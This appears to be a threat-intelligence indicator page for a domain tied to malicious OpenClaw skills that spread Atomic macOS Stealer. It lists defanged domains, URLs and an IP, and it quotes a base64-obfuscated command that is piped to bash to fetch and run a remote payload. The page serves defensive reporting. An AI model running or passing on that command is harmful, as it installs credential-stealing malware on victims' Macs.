install.app-distribution[.]netDomain
Reported by 1 independent source · first reported by Trend Micro Research · last reported
Last reported 7 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Malicious OpenClaw Skills Used to Distribute Atomic macOS Stealer“echo "Setup-Wizard: hxxps://install.app-distribution[.]net/setup/" && echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC9lY2UwZjIwOHU3dXFoczZ4KSI=' | base64 -D | bash”
Indicators reported together
named in the same reports- skillsmp[.]comin 1 report
- hxxps://openclawcli.vercel[.]app/in 1 report
- openclawcli.vercel[.]appin 1 report
- hxxps://install.app-distribution[.]net/setup/in 1 report
- hxxp://91.92.242[.]30/ece0f208u7uqhs6xin 1 report
- 91.92.242[.]30in 1 report
- hxxps://socifiapp[.]com/api/reports/uploadin 1 report
- socifiapp[.]comin 1 report
Copy these 8 indicators · defanged
Thanks — we review every report.